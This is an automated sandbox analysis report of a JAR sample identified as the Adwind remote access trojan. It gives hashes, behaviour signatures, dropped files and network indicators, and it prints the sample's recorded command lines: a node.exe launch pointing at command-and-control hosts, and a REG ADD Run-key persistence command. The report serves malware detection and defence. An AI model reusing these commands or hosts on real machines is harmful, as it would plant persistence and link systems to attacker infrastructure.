analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Kafan_Sample_77ad06f5cddfc7fe9a902173dfc3b890ea4a86614168c9f5b25766cef071759b.jar

Full analysis: https://app.any.run/tasks/c81afa05-d1a6-446e-a449-b913e58e161a
Verdict: Malicious activity
Threats:

Adwind RAT, sometimes also called Unrecom, Sockrat, Frutas, jRat, and JSocket, is a Malware As A Service Remote Access Trojan that attackers can use to collect information from infected machines. It was one of the most popular RATs in the market in 2015.

Analysis date: May 30, 2020, 07:14:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
adwind
rat
Indicators:
MIME: application/java-archive
File info: Java archive data (JAR)
MD5:

E635D75A5BC015838D903D49A2EFBE9E

SHA1:

1DFBC2A22C7F67839A5AF88071BB888C96C8684F

SHA256:

77AD06F5CDDFC7FE9A902173DFC3B890EA4A86614168C9F5B25766CEF071759B

SSDEEP:

96:URnRphNdEgZX9RI31jns/dcXy7D+nUQQIFt1d/HNvVa71APcna2pe9uboRtox8X+:CRzNdTZXA317slGqgnoucnKRtsllii

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Changes the autorun value in the registry

      • reg.exe (PID: 3916)
    • ADWIND was detected

      • javaw.exe (PID: 2024)
      • node.exe (PID: 3920)
      • node.exe (PID: 4028)
    • Connects to CnC server

      • javaw.exe (PID: 2024)
      • node.exe (PID: 4028)
      • node.exe (PID: 3920)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • javaw.exe (PID: 2024)
    • Creates files in the user directory

      • javaw.exe (PID: 2024)
    • Starts CMD.EXE for commands execution

      • node.exe (PID: 4028)
    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3628)
    • Application launched itself

      • node.exe (PID: 4028)
    • Reads CPU info

      • node.exe (PID: 3920)
  • INFO

    • Dropped object may contain Bitcoin addresses

      • javaw.exe (PID: 2024)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.jar | Java Archive (78.3)
.zip | ZIP compressed archive (21.6)

EXIF

ZIP

ZipFileName: META-INF/
ZipUncompressedSize: -
ZipCompressedSize: 2
ZipCRC: 0x00000000
ZipModifyDate: 2020:05:25 09:16:26
ZipCompression: Deflated
ZipBitFlag: 0x0808
ZipRequiredVersion: 20
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #ADWIND javaw.exe #ADWIND node.exe cmd.exe no specs reg.exe #ADWIND node.exe

Process information

PID
CMD
Path
Indicators
Parent process
2024"C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe" -jar "C:\Users\admin\Desktop\Kafan_Sample_77ad06f5cddfc7fe9a902173dfc3b890ea4a86614168c9f5b25766cef071759b.jar"C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe
explorer.exe
User:
admin
Company:
Oracle Corporation
Integrity Level:
MEDIUM
Description:
Java(TM) Platform SE binary
Version:
8.0.920.14
4028C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://central.qhub.qua.one --central-base-url https://3769683.middlegate.qua.one --central-base-url https://fake1.3769683.middlegate.qua.one --central-base-url invalid.https://3769683.middlegate.qua.oneC:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe
javaw.exe
User:
admin
Company:
Node.js
Integrity Level:
MEDIUM
Description:
Node.js: Server-side JavaScript
Version:
13.13.0
3628C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ea019c0f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd\"""C:\Windows\system32\cmd.exenode.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3916REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ea019c0f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd\""C:\Windows\system32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3920C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-win32-ia32.js serve start --group user:[email protected] --register-startup --central-base-url https://central.qhub.qua.one --central-base-url https://3769683.middlegate.qua.one --central-base-url https://fake1.3769683.middlegate.qua.one --central-base-url invalid.https://3769683.middlegate.qua.oneC:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe
node.exe
User:
admin
Company:
Node.js
Integrity Level:
MEDIUM
Description:
Node.js: Server-side JavaScript
Version:
13.13.0
Total events
32
Read events
31
Write events
1
Delete events
0

Modification events

(PID) Process:(3916) reg.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:qnodejs-ea019c0f
Value:
cmd /D /C "C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd"
Executable files
1
Suspicious files
2
Text files
3 709
Unknown types
11

Dropped files

PID
Process
Filename
Type
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node.exe
MD5:
SHA256:
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\CHANGELOG.mdhtml
MD5:4B4151CB6CA2A9CD66238FB8EEC003A3
SHA256:271FCB46F0552F847E6E5B88CDDD03168ED11E6E354B1C15FA92ED553B92EF5B
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\LICENSEtext
MD5:698CF46FBBD1EF7145D1D4F4977E9743
SHA256:EAC4065F78A73669E3058A72CB936D5C79E7CE766C6ACF87A6AB37CF8D702064
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\install_tools.battext
MD5:4E46AD93BAC466280DED1D0C19863A26
SHA256:4B1E875422E7A3BA28DC1A618E7569A27E2A491C161E0ADB742434B14F773BED
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\AUTHORStext
MD5:8E0621AA4B3C6AF29CD281BE18AD666D
SHA256:41E1395C2082DA627E8C08033FF12BE6261F52B03C22B55ED8B4E623AE24B099
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\.npmignoretext
MD5:4416DF8582A08A4C3297F4DD5DE3908B
SHA256:F885519DB536EC02B192521A48D63E2EE9B849092905D117E07A862DBB6C73B1
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\.travis.ymltext
MD5:7A15CCC612A136E7096930734D633B21
SHA256:471E07C40FA3588317141FC1E43BDE68F5FCA7511724852E9CD5588470C5C1A4
2024javaw.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamptext
MD5:2482932E9414D0ABCF4561F7EE0FBB03
SHA256:B8FEA00860374C75EF1474522068F794F507FE390E2F1AB20540EF379336D117
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_etw_provider.mantext
MD5:1D51E18A7247F47245B0751F16119498
SHA256:1975AA34C1050B8364491394CEBF6E668E2337C3107712E3EECA311262C7C46F
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\bin\npxtext
MD5:F3AC8B0BCC82456D9C702DD17C232796
SHA256:99911D9C4BEBA98143FE160A55999331DD5C80038E48F23EE517A0E0DAD4BFB3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2024
javaw.exe
104.20.22.46:443
nodejs.org
Cloudflare Inc
US
shared
4028
node.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
3920
node.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
2024
javaw.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
3920
node.exe
51.15.23.91:443
wtfismyip.com
Online S.a.s.
NL
suspicious

DNS requests

Domain
IP
Reputation
nodejs.org
  • 104.20.22.46
  • 104.20.23.46
whitelisted
central.qhub.qua.one
  • 64.225.101.88
whitelisted
wtfismyip.com
  • 51.15.23.91
shared

Threats

Found threats are available for the paid subscriptions
5 ETPRO signatures available at the full report
No debug info